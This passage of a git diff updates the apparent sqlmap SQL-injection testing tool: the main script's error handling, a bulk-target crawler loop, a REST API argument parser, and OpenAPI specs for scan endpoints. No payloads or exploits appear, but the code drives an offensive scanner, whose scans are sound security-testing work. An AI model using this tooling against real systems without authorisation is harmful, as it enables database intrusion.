sys.argv: + warnings.filterwarnings(action="ignore", category=DeprecationWarning) + else: + warnings.resetwarnings() + warnings.filterwarnings(action="ignore", message="'crypt'", category=DeprecationWarning) + warnings.simplefilter("ignore", category=ImportWarning) + if sys.version_info >= (3, 0): + warnings.simplefilter("ignore", category=ResourceWarning) + + warnings.filterwarnings(action="ignore", message="Python 2 is no longer supported") warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) - warnings.filterwarnings(action="ignore", category=DeprecationWarning) + warnings.filterwarnings(action="ignore", message=".*using a very old release", category=UserWarning) + warnings.filterwarnings(action="ignore", message=".*default buffer size will be used", category=RuntimeWarning) + warnings.filterwarnings(action="ignore", category=UserWarning, module="psycopg2") from lib.core.data import logger from lib.core.common import banner - from lib.core.common import checkIntegrity + from lib.core.common import checkPipedInput + from lib.core.common import checkSums from lib.core.common import createGithubIssue from lib.core.common import dataToStdout + from lib.core.common import extractRegexResult + from lib.core.common import filterNone + from lib.core.common import getDaysFromLastUpdate + from lib.core.common import getFileItems from lib.core.common import getSafeExString - from lib.core.common import getUnicode from lib.core.common import maskSensitiveData from lib.core.common import openFile from lib.core.common import setPaths from lib.core.common import weAreFrozen + from lib.core.convert import getUnicode + from lib.core.common import setColor + from lib.core.common import unhandledExceptionMessage + from lib.core.compat import LooseVersion + from lib.core.compat import xrange from lib.core.data import cmdLineOptions from lib.core.data import conf from lib.core.data import kb - from lib.core.common import unhandledExceptionMessage - from lib.core.common import MKSTEMP_PREFIX - from lib.core.common import setColor + from lib.core.datatype import OrderedSet + from lib.core.enums import MKSTEMP_PREFIX from lib.core.exception import SqlmapBaseException from lib.core.exception import SqlmapShellQuitException from lib.core.exception import SqlmapSilentQuitException from lib.core.exception import SqlmapUserQuitException - from lib.core.option import initOptions from lib.core.option import init + from lib.core.option import initOptions from lib.core.patch import dirtyPatches + from lib.core.patch import resolveCrossReferences from lib.core.settings import GIT_PAGE from lib.core.settings import IS_WIN + from lib.core.settings import LAST_UPDATE_NAGGING_DAYS from lib.core.settings import LEGAL_DISCLAIMER from lib.core.settings import THREAD_FINALIZATION_TIMEOUT from lib.core.settings import UNICODE_ENCODING from lib.core.settings import VERSION from lib.parse.cmdline import cmdLineParser + from lib.utils.crawler import crawl except KeyboardInterrupt: errMsg = "user aborted" @@ -76,7 +98,7 @@ raise SystemExit else: import time - exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg)) + sys.exit("\r[%s] [CRITICAL] %s" % (time.strftime("%X"), errMsg)) def modulePath(): """ @@ -100,7 +122,7 @@ def checkEnvironment(): logger.critical(errMsg) raise SystemExit - if distutils.version.LooseVersion(VERSION) < distutils.version.LooseVersion("1.0"): + if LooseVersion(VERSION) < LooseVersion("1.0"): errMsg = "your runtime environment (e.g. PYTHONPATH) is " errMsg += "broken. Please make sure that you are not running " errMsg += "newer versions of sqlmap with runtime scripts for older " @@ -123,14 +145,19 @@ def main(): try: dirtyPatches() + resolveCrossReferences() checkEnvironment() setPaths(modulePath()) banner() # Store original command line options for possible later restoration - cmdLineOptions.update(cmdLineParser().__dict__) + args = cmdLineParser() + cmdLineOptions.update(args.__dict__ if hasattr(args, "__dict__") else args) initOptions(cmdLineOptions) + if checkPipedInput(): + conf.batch = True + if conf.get("api"): # heavy imports from lib.utils.api import StdDbOut @@ -140,6 +167,7 @@ def main(): # to an IPC database sys.stdout = StdDbOut(conf.taskid, messagetype="stdout") sys.stderr = StdDbOut(conf.taskid, messagetype="stderr") + setRestAPILog() conf.showTime = True @@ -152,10 +180,10 @@ def main(): # Postponed imports (faster start) if conf.smokeTest: from lib.core.testing import smokeTest - smokeTest() - elif conf.liveTest: - from lib.core.testing import liveTest - liveTest() + os._exitcode = 1 - (smokeTest() or 0) + elif conf.vulnTest: + from lib.core.testing import vulnTest + os._exitcode = 1 - (vulnTest() or 0) else: from lib.controller.controller import start if conf.profile: @@ -164,8 +192,37 @@ def main(): profile() else: try: - start() - except thread.error as ex: + if conf.crawlDepth and conf.bulkFile: + targets = getFileItems(conf.bulkFile) + + for i in xrange(len(targets)): + target = None + + try: + kb.targets = OrderedSet() + target = targets[i] + + if not re.search(r"(?i)\Ahttp[s]*://", target): + target = "https://%s" % target + + infoMsg = "starting crawler for target URL '%s' (%d/%d)" % (target, i + 1, len(targets)) + logger.info(infoMsg) + + crawl(target) + except Exception as ex: + if target and not isinstance(ex, SqlmapUserQuitException): + errMsg = "problem occurred while crawling '%s' ('%s')" % (target, getSafeExString(ex)) + logger.error(errMsg) + else: + raise + else: + if kb.targets: + start() + else: + start() + except Exception as ex: + os._exitcode = 1 + if "can't start new thread" in getSafeExString(ex): errMsg = "unable to start new threads. Please check OS (u)limits" logger.critical(errMsg) @@ -188,10 +245,15 @@ def main(): errMsg = getSafeExString(ex) logger.critical(errMsg) + os._exitcode = 1 + raise SystemExit except KeyboardInterrupt: - print() + try: + print() + except IOError: + pass except EOFError: print() @@ -199,36 +261,18 @@ def main(): errMsg = "exit" logger.error(errMsg) - except SystemExit: - pass + except SystemExit as ex: + os._exitcode = ex.code or 0 except: print() errMsg = unhandledExceptionMessage() excMsg = traceback.format_exc() - valid = checkIntegrity() + valid = checkSums() - if valid is False: - errMsg = "code integrity check failed (turning off automatic issue creation). " - errMsg += "You should retrieve the latest development version from official GitHub " - errMsg += "repository at '%s'" % GIT_PAGE - logger.critical(errMsg) - print() - dataToStdout(excMsg) - raise SystemExit - - elif any(_ in excMsg for _ in ("tamper/", "waf/")): - logger.critical(errMsg) - print() - dataToStdout(excMsg) - raise SystemExit + os._exitcode = 255 - elif any(_ in excMsg for _ in ("ImportError", "Can't find file for module")): - errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() - logger.critical(errMsg) - raise SystemExit - - elif "MemoryError" in excMsg: + if any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): errMsg = "memory exhaustion detected" logger.critical(errMsg) raise SystemExit @@ -243,10 +287,13 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("No such file", "_'", "self.get_prog_name()")): - errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] - errMsg += "You should retrieve the latest development version from official GitHub " - errMsg += "repository at '%s'" % GIT_PAGE + elif all(_ in excMsg for _ in ("Access is denied", "subprocess", "metasploit")): + errMsg = "permission error occurred while running Metasploit" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Permission denied", "metasploit")): + errMsg = "permission error occurred while using Metasploit" logger.critical(errMsg) raise SystemExit @@ -255,6 +302,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "Insufficient system resources" in excMsg: + errMsg = "resource exhaustion detected" + logger.critical(errMsg) + raise SystemExit + elif "OperationalError: disk I/O error" in excMsg: errMsg = "I/O error on output device" logger.critical(errMsg) @@ -265,27 +317,82 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "Invalid IPv6 URL" in excMsg: + errMsg = "invalid URL ('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + elif "_mkstemp_inner" in excMsg: errMsg = "there has been a problem while accessing temporary files" logger.critical(errMsg) raise SystemExit + elif any(_ in excMsg for _ in ("tempfile.mkdtemp", "tempfile.mkstemp", "tempfile.py")): + errMsg = "unable to write to the temporary directory '%s'. " % tempfile.gettempdir() + errMsg += "Please make sure that your disk is not full and " + errMsg += "that you have sufficient write permissions to " + errMsg += "create temporary files and/or directories" + logger.critical(errMsg) + raise SystemExit + + elif "Permission denied: '" in excMsg: + match = re.search(r"Permission denied: '([^']*)", excMsg) + errMsg = "permission error occurred while accessing file '%s'" % match.group(1) + logger.critical(errMsg) + raise SystemExit + elif all(_ in excMsg for _ in ("twophase", "sqlalchemy")): errMsg = "please update the 'sqlalchemy' package (>= 1.1.11) " - errMsg += "(Reference: https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe)" + errMsg += "(Reference: 'https://qiita.com/tkprof/items/7d7b2d00df9c5f16fffe')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("httpcore", "typing.", "AttributeError")): + errMsg = "please update the 'httpcore' package (>= 1.0.8) " + errMsg += "(Reference: 'https://github.com/encode/httpcore/discussions/995')" + logger.critical(errMsg) + raise SystemExit + + elif "invalid maximum character passed to PyUnicode_New" in excMsg and re.search(r"\A3\.[34]", sys.version) is not None: + errMsg = "please upgrade the Python version (>= 3.5) " + errMsg += "(Reference: 'https://bugs.python.org/issue18183')" logger.critical(errMsg) raise SystemExit elif all(_ in excMsg for _ in ("scramble_caching_sha2", "TypeError")): errMsg = "please downgrade the 'PyMySQL' package (=< 0.8.1) " - errMsg += "(Reference: https://github.com/PyMySQL/PyMySQL/issues/700)" + errMsg += "(Reference: 'https://github.com/PyMySQL/PyMySQL/issues/700')" logger.critical(errMsg) raise SystemExit elif "must be pinned buffer, not bytearray" in excMsg: errMsg = "error occurred at Python interpreter which " - errMsg += "is fixed in 2.7.x. Please update accordingly " - errMsg += "(Reference: https://bugs.python.org/issue8104)" + errMsg += "is fixed in 2.7. Please update accordingly " + errMsg += "(Reference: 'https://bugs.python.org/issue8104')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("OSError: [Errno 22] Invalid argument: '", "importlib")): + errMsg = "unable to read file '%s'" % extractRegexResult(r"OSError: \[Errno 22\] Invalid argument: '(?P<result>[^']+)", excMsg) + logger.critical(errMsg) + raise SystemExit + + elif "hash_randomization" in excMsg: + errMsg = "error occurred at Python interpreter which " + errMsg += "is fixed in 2.7.3. Please update accordingly " + errMsg += "(Reference: 'https://docs.python.org/2/library/sys.html')" + logger.critical(errMsg) + raise SystemExit + + elif "AttributeError:" in excMsg and re.search(r"3\.11\.\d+a", sys.version): + errMsg = "there is a known issue when sqlmap is run with ALPHA versions of Python 3.11. " + errMsg += "Please download a stable Python version" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("Resource temporarily unavailable", "os.fork()", "dictionaryAttack")): + errMsg = "there has been a problem while running the multiprocessing hash cracking. " + errMsg += "Please rerun with option '--threads=1'" logger.critical(errMsg) raise SystemExit @@ -297,6 +404,109 @@ def main(): logger.critical(errMsg) raise SystemExit + elif "can't allocate read lock" in excMsg: + errMsg = "there has been a problem in regular socket operation " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("pymysql", "configparser")): + errMsg = "wrong initialization of 'pymsql' detected (using Python3 dependencies)" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("ntlm", "socket.error, err", "SyntaxError")): + errMsg = "wrong initialization of 'python-ntlm' detected (using Python2 syntax)" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("drda", "to_bytes")): + errMsg = "wrong initialization of 'drda' detected (using Python3 syntax)" + logger.critical(errMsg) + raise SystemExit + + elif "'WebSocket' object has no attribute 'status'" in excMsg: + errMsg = "wrong websocket library detected" + errMsg += " (Reference: 'https://github.com/sqlmapproject/sqlmap/issues/4572#issuecomment-775041086')" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("window = tkinter.Tk()",)): + errMsg = "there has been a problem in initialization of GUI interface " + errMsg += "('%s')" % excMsg.strip().split('\n')[-1] + logger.critical(errMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("unable to access item 'liveTest'",)): + errMsg = "detected usage of files from different versions of sqlmap" + logger.critical(errMsg) + raise SystemExit + + elif any(_ in errMsg for _ in (": 9.9.9#",)): + errMsg = "LOL xD" + logger.critical(errMsg) + raise SystemExit + + elif kb.get("dumpKeyboardInterrupt"): + raise SystemExit + + elif any(_ in excMsg for _ in ("Broken pipe", "KeyboardInterrupt")): + raise SystemExit + + elif valid is False: + errMsg = "code checksum failed (turning off automatic issue creation). " + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in "%s\n%s" % (errMsg, excMsg) for _ in ("tamper/", "waf/", "--engagement-dojo")): + logger.critical(errMsg) + print() + dataToStdout(excMsg) + raise SystemExit + + elif any(_ in excMsg for _ in ("ImportError", "ModuleNotFoundError", "<frozen", "Can't find file for module", "SAXReaderNotAvailable", "<built-in function compile> returned NULL without setting an exception", "source code string cannot contain null bytes", "No module named", "tp_name field", "module 'sqlite3' has no attribute 'OperationalError'")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", ".py on line", "but no encoding declared")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("FileNotFoundError: [Errno 2] No such file or directory", "cwd = os.getcwd()")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("PermissionError: [WinError 5]", "multiprocessing")): + errMsg = "there is a permission problem in running multiprocessing on this system. " + errMsg += "Please rerun with '--disable-multi'" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "_'")): + errMsg = "corrupted installation detected ('%s'). " % excMsg.strip().split('\n')[-1] + errMsg += "You should retrieve the latest development version from official GitHub " + errMsg += "repository at '%s'" % GIT_PAGE + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("No such file", "sqlmap.conf", "Test")): + errMsg = "you are trying to run (hidden) development tests inside the production environment" + logger.critical(errMsg) + raise SystemExit + + elif all(_ in excMsg for _ in ("HTTPNtlmAuthHandler", "'str' object has no attribute 'decode'")): + errMsg = "package 'python-ntlm' has a known compatibility issue with the " + errMsg += "Python 3 (Reference: 'https://github.com/mullender/python-ntlm/pull/61')" + logger.critical(errMsg) + raise SystemExit + elif "'DictObject' object has no attribute '" in excMsg and all(_ in errMsg for _ in ("(fingerprinted)", "(identified)")): errMsg = "there has been a problem in enumeration. " errMsg += "Because of a considerable chance of false-positive case " @@ -304,27 +514,35 @@ def main(): logger.critical(errMsg) raise SystemExit - elif all(_ in excMsg for _ in ("pymysql", "configparser")): - errMsg = "wrong initialization of pymsql detected (using Python3 dependencies)" + elif "database disk image is malformed" in excMsg: + errMsg = "local session file seems to be malformed. Please rerun with '--flush-session'" logger.critical(errMsg) raise SystemExit - elif "bad marshal data (unknown type code)" in excMsg: - match = re.search(r"\s*(.+)\s+ValueError", excMsg) - errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") - errMsg += ". Please delete .pyc files on your system to fix the problem" + elif "'cryptography' package is required" in excMsg: + errMsg = "third-party library 'cryptography' is required" logger.critical(errMsg) raise SystemExit - elif kb.get("dumpKeyboardInterrupt"): + elif "AttributeError: 'module' object has no attribute 'F_GETFD'" in excMsg: + errMsg = "invalid runtime (\"%s\") " % excMsg.split("Error: ")[-1].strip() + errMsg += "(Reference: 'https://stackoverflow.com/a/38841364' & 'https://bugs.python.org/issue24944#msg249231')" + logger.critical(errMsg) raise SystemExit - elif any(_ in excMsg for _ in ("Broken pipe",)): + elif "bad marshal data (unknown type code)" in excMsg: + match = re.search(r"\s*(.+)\s+ValueError", excMsg) + errMsg = "one of your .pyc files are corrupted%s" % (" ('%s')" % match.group(1) if match else "") + errMsg += ". Please delete .pyc files on your system to fix the problem" + logger.critical(errMsg) raise SystemExit for match in re.finditer(r'File "(.+?)", line', excMsg): file_ = match.group(1) - file_ = os.path.relpath(file_, os.path.dirname(__file__)) + try: + file_ = os.path.relpath(file_, os.path.dirname(__file__)) + except ValueError: + pass file_ = file_.replace("\\", '/') if "../" in file_: file_ = re.sub(r"(\.\./)+", '/', file_) @@ -336,7 +554,7 @@ def main(): errMsg = maskSensitiveData(errMsg) excMsg = maskSensitiveData(excMsg) - if conf.get("api") or not valid: + if conf.get("api") or not valid or kb.get("lastCtrlCTime"): logger.critical("%s\n%s" % (errMsg, excMsg)) else: logger.critical(errMsg) @@ -346,27 +564,40 @@ def main(): finally: kb.threadContinue = False + if (getDaysFromLastUpdate() or 0) > LAST_UPDATE_NAGGING_DAYS: + warnMsg = "your sqlmap version is outdated" + logger.warning(warnMsg) + if conf.get("showTime"): dataToStdout("\n[*] ending @ %s\n\n" % time.strftime("%X /%Y-%m-%d/"), forceOutput=True) kb.threadException = True - if kb.get("tempDir"): + for tempDir in conf.get("tempDirs", []): for prefix in (MKSTEMP_PREFIX.IPC, MKSTEMP_PREFIX.TESTING, MKSTEMP_PREFIX.COOKIE_JAR, MKSTEMP_PREFIX.BIG_ARRAY): - for filepath in glob.glob(os.path.join(kb.tempDir, "%s*" % prefix)): + for filepath in glob.glob(os.path.join(tempDir, "%s*" % prefix)): try: os.remove(filepath) except OSError: pass - if not filter(None, (filepath for filepath in glob.glob(os.path.join(kb.tempDir, '*')) if not any(filepath.endswith(_) for _ in ('.lock', '.exe', '_')))): - shutil.rmtree(kb.tempDir, ignore_errors=True) + + if any((conf.vulnTest, conf.smokeTest)) or not filterNone(filepath for filepath in glob.glob(os.path.join(tempDir, '*')) if not any(filepath.endswith(_) for _ in (".lock", ".exe", ".so", '_'))): # ignore junk files + try: + shutil.rmtree(tempDir, ignore_errors=True) + except OSError: + pass if conf.get("hashDB"): - conf.hashDB.flush(True) + conf.hashDB.flush() + conf.hashDB.close() # NOTE: because of PyPy if conf.get("harFile"): - with openFile(conf.harFile, "w+b") as f: - json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) + try: + with openFile(conf.harFile, "w+") as f: + json.dump(conf.httpCollector.obtain(), fp=f, indent=4, separators=(',', ': ')) + except SqlmapBaseException as ex: + errMsg = getSafeExString(ex) + logger.critical(errMsg) if conf.get("api"): conf.databaseCursor.disconnect() @@ -376,7 +607,7 @@ def main(): # short delay for thread finalization _ = time.time() - while threading.activeCount() > 1 and (time.time() - _) > THREAD_FINALIZATION_TIMEOUT: + while threading.active_count() > 1 and (time.time() - _) < THREAD_FINALIZATION_TIMEOUT: time.sleep(0.01) if cmdLineOptions.get("sqlmapShell"): @@ -391,10 +622,16 @@ def main(): main() except KeyboardInterrupt: pass + except SystemExit: + raise + except: + traceback.print_exc() finally: # Reference: http://stackoverflow.com/questions/1635080/terminate-a-multi-thread-python-program - if threading.activeCount() > 1: - os._exit(0) + if threading.active_count() > 1: + os._exit(getattr(os, "_exitcode", 0)) + else: + sys.exit(getattr(os, "_exitcode", 0)) else: - # cancelling postponed imports (because of Travis CI checks) - from lib.controller.controller import start + # cancelling postponed imports (because of CI/CD checks) + __import__("lib.controller.controller") diff --git a/sqlmapapi.py b/sqlmapapi.py index 6804f7cf652..99862b65bc6 100755 --- a/sqlmapapi.py +++ b/sqlmapapi.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) See the file 'LICENSE' for copying permission """ @@ -12,26 +12,81 @@ __import__("lib.utils.versioncheck") # this has to be the first non-standard import import logging -import optparse +import os import warnings -warnings.filterwarnings(action="ignore", message=".*was already imported", category=UserWarning) +warnings.filterwarnings(action="ignore", category=UserWarning) warnings.filterwarnings(action="ignore", category=DeprecationWarning) -from sqlmap import modulePath +try: + from optparse import OptionGroup + from optparse import OptionParser as ArgumentParser + + ArgumentParser.add_argument = ArgumentParser.add_option + + def _add_argument(self, *args, **kwargs): + return self.add_option(*args, **kwargs) + + OptionGroup.add_argument = _add_argument + +except ImportError: + from argparse import ArgumentParser + +finally: + def get_actions(instance): + for attr in ("option_list", "_group_actions", "_actions"): + if hasattr(instance, attr): + return getattr(instance, attr) + + def get_groups(parser): + return getattr(parser, "option_groups", None) or getattr(parser, "_action_groups") + + def get_all_options(parser): + retVal = set() + + for option in get_actions(parser): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + for group in get_groups(parser): + for option in get_actions(group): + if hasattr(option, "option_strings"): + retVal.update(option.option_strings) + else: + retVal.update(option._long_opts) + retVal.update(option._short_opts) + + return retVal + +from lib.core.common import getUnicode from lib.core.common import setPaths from lib.core.data import logger +from lib.core.patch import dirtyPatches +from lib.core.patch import resolveCrossReferences from lib.core.settings import RESTAPI_DEFAULT_ADAPTER from lib.core.settings import RESTAPI_DEFAULT_ADDRESS from lib.core.settings import RESTAPI_DEFAULT_PORT +from lib.core.settings import UNICODE_ENCODING from lib.utils.api import client from lib.utils.api import server +try: + from sqlmap import modulePath +except ImportError: + def modulePath(): + return getUnicode(os.path.dirname(os.path.realpath(__file__)), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING) + def main(): """ REST-JSON API main function """ + dirtyPatches() + resolveCrossReferences() + # Set default logging level to debug logger.setLevel(logging.DEBUG) @@ -39,20 +94,21 @@ def main(): setPaths(modulePath()) # Parse command line options - apiparser = optparse.OptionParser() - apiparser.add_option("-s", "--server", help="Run as a REST-JSON API server", default=RESTAPI_DEFAULT_PORT, action="store_true") - apiparser.add_option("-c", "--client", help="Run as a REST-JSON API client", default=RESTAPI_DEFAULT_PORT, action="store_true") - apiparser.add_option("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS, action="store") - apiparser.add_option("-p", "--port", help="Port of the the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type="int", action="store") - apiparser.add_option("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER, action="store") - apiparser.add_option("--username", help="Basic authentication username (optional)", action="store") - apiparser.add_option("--password", help="Basic authentication password (optional)", action="store") - (args, _) = apiparser.parse_args() + apiparser = ArgumentParser() + apiparser.add_argument("-s", "--server", help="Run as a REST-JSON API server", action="store_true") + apiparser.add_argument("-c", "--client", help="Run as a REST-JSON API client", action="store_true") + apiparser.add_argument("-H", "--host", help="Host of the REST-JSON API server (default \"%s\")" % RESTAPI_DEFAULT_ADDRESS, default=RESTAPI_DEFAULT_ADDRESS) + apiparser.add_argument("-p", "--port", help="Port of the REST-JSON API server (default %d)" % RESTAPI_DEFAULT_PORT, default=RESTAPI_DEFAULT_PORT, type=int) + apiparser.add_argument("--adapter", help="Server (bottle) adapter to use (default \"%s\")" % RESTAPI_DEFAULT_ADAPTER, default=RESTAPI_DEFAULT_ADAPTER) + apiparser.add_argument("--database", help="Set IPC database filepath (optional)") + apiparser.add_argument("--username", help="Basic authentication username (optional)") + apiparser.add_argument("--password", help="Basic authentication password (optional)") + (args, _) = apiparser.parse_known_args() if hasattr(apiparser, "parse_known_args") else apiparser.parse_args() # Start the client or the server - if args.server is True: - server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password) - elif args.client is True: + if args.server: + server(args.host, args.port, adapter=args.adapter, username=args.username, password=args.password, database=args.database) + elif args.client: client(args.host, args.port, username=args.username, password=args.password) else: apiparser.print_help() diff --git a/sqlmapapi.yaml b/sqlmapapi.yaml new file mode 100644 index 00000000000..16641c24d8d --- /dev/null +++ b/sqlmapapi.yaml @@ -0,0 +1,297 @@ +openapi: 3.0.1 +info: + title: sqlmapapi OpenAPI/Swagger specification + version: '0.1' +paths: + /version: + get: + description: Fetch server version + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + version: + type: string + example: "1.5.7.7#dev" + success: + type: boolean + example: true + /task/new: + get: + description: Create a new task + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + taskid: + type: string + example: "fad44d6beef72285" + success: + type: boolean + example: true + /task/{taskid}/delete: + get: + description: Delete an existing task + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true + /option/{taskid}/list: + get: + description: List options for a given task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true + options: + type: array + items: + type: object + /option/{taskid}/get: + post: + description: Get value of option(s) for a certain task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + requestBody: + content: + application/json: + schema: + type: array + items: + type: string + example: ["url", "cookie"] + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + options: + type: object + /option/{taskid}/set: + post: + description: Set value of option(s) for a certain task ID + parameters: + - in: path + name: taskid + required: true + schema: + type: string + requestBody: + content: + application/json: + schema: + type: object + example: {"cookie": "id=1"} + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + /scan/{taskid}/start: + post: + description: Launch a scan + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + requestBody: + content: + application/json: + schema: + type: object + properties: + url: + type: string + examples: + '0': + value: '{"url":"http://testphp.vulnweb.com/artists.php?artist=1"}' + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + engineid: + type: integer + example: 19720 + success: + type: boolean + example: true + /scan/{taskid}/stop: + get: + description: Stop a scan + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true + /scan/{taskid}/status: + get: + description: Fetch status of a scan + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + status: + type: string + example: terminated + returncode: + type: integer + example: 0 + success: + type: boolean + example: true + /scan/{taskid}/data: + get: + description: Retrieve the scan resulting data + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + data: + type: array + items: + type: object + success: + type: boolean + example: true + error: + type: array + items: + type: object + /scan/{taskid}/log: + get: + description: Retrieve the log messages + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + log: + type: array + items: + type: object + success: + type: boolean + example: true + /scan/{taskid}/kill: + get: + description: Kill a scan + parameters: + - in: path + name: taskid + required: true + schema: + type: string + description: Scan task ID + responses: + '200': + description: OK + content: + application/json: + schema: + type: object + properties: + success: + type: boolean + example: true diff --git a/swagger.yaml b/swagger.yaml deleted file mode 100644 index 6269bba0b2a..00000000000 --- a/swagger.yaml +++ /dev/null @@ -1,460 +0,0 @@ -# Note: written with Swagger Editor (https://editor.swagger.io/) -swagger: "2.0" -info: - description: "" - version: "1.2" - title: "sqlmap API" - contact: - email: "dev@sqlmap.org" - license: - name: "GPL 2.0" - url: "https://www.gnu.org/licenses/old-licenses/gpl-2.0.html" -host: "0.0.0.0:8775" -basePath: "/" -tags: -- name: "task" - description: "Task management functions" -- name: "admin" - description: "Task administration functions" -- name: "option" - description: "Task option handling functions" -schemes: -- "http" -paths: - /task/new: - get: - tags: - - "task" - summary: "Create a new task" - description: "" - operationId: "taskNew" - produces: - - "application/json" - parameters: [] - responses: - 200: - description: "Task successfully created" - schema: - type: object - properties: - success: - type: boolean - taskid: - type: string - example: "7e605b5d5a892b74" - /task/{taskid}/delete: - get: - tags: - - "task" - summary: "Delete an existing task" - description: "" - operationId: "taskDelete" - produces: - - "application/json" - parameters: - - name: "taskid" - in: "path" - description: "ID of an existing task to delete" - required: true - type: "string" - responses: - 200: - description: "Task successfully deleted" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - 404: - description: "Task ID not found" - schema: - type: object - properties: - success: - type: boolean - enum: [false] - message: - type: string - enum: ["Non-existing task ID"] - /admin/list: - get: - tags: - - "admin" - summary: "Pull task list (locally)" - description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)" - operationId: "adminList" - produces: - - "application/json" - responses: - 200: - description: "Task list successfully pulled" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - tasks: - type: object - additionalProperties: - type: string - example: - 16a7a898e8eaaf45: running - 644fc063408e4f12: not running - 8e2eb10770d913cd: not running - d59d1c69bdc06933: not running - tasks_num: - type: integer - example: 4 - /admin/{token}/list: - get: - tags: - - "admin" - summary: "Pull task list (remotely)" - description: "Note: Use in cases when connecting to server from different IP" - operationId: "adminListToken" - produces: - - "application/json" - parameters: - - name: "token" - in: "path" - description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)" - required: true - type: "string" - responses: - 200: - description: "Task list successfully pulled" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - tasks: - type: object - additionalProperties: - type: string - example: - 5c911efa476b55f4: not running - 5ee038e153ffc534: not running - e58c7a4de6bf7f51: not running - tasks_num: - type: integer - example: 4 - /admin/flush: - get: - tags: - - "admin" - summary: "Flush task pool (locally)" - description: "Note: Use in cases when connecting to server from same IP (e.g. `localhost`)" - operationId: "adminFlush" - produces: - - "application/json" - responses: - 200: - description: "Task pool successfully flushed" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - /admin/{token}/flush: - get: - tags: - - "admin" - summary: "Flush task pool (remotely)" - description: "Note: Use in cases when connecting to server from different IP" - operationId: "adminFlushToken" - produces: - - "application/json" - parameters: - - name: "token" - in: "path" - description: "Secret token (Note: written to console during a server run - e.g. `2756d5b6e7d093ba49b5fd06a93aca7a`)" - required: true - type: "string" - responses: - 200: - description: "Task pool successfully flushed" - schema: - type: object - properties: - success: - type: boolean - enum: [true] - /option/{taskid}/list: - get: - 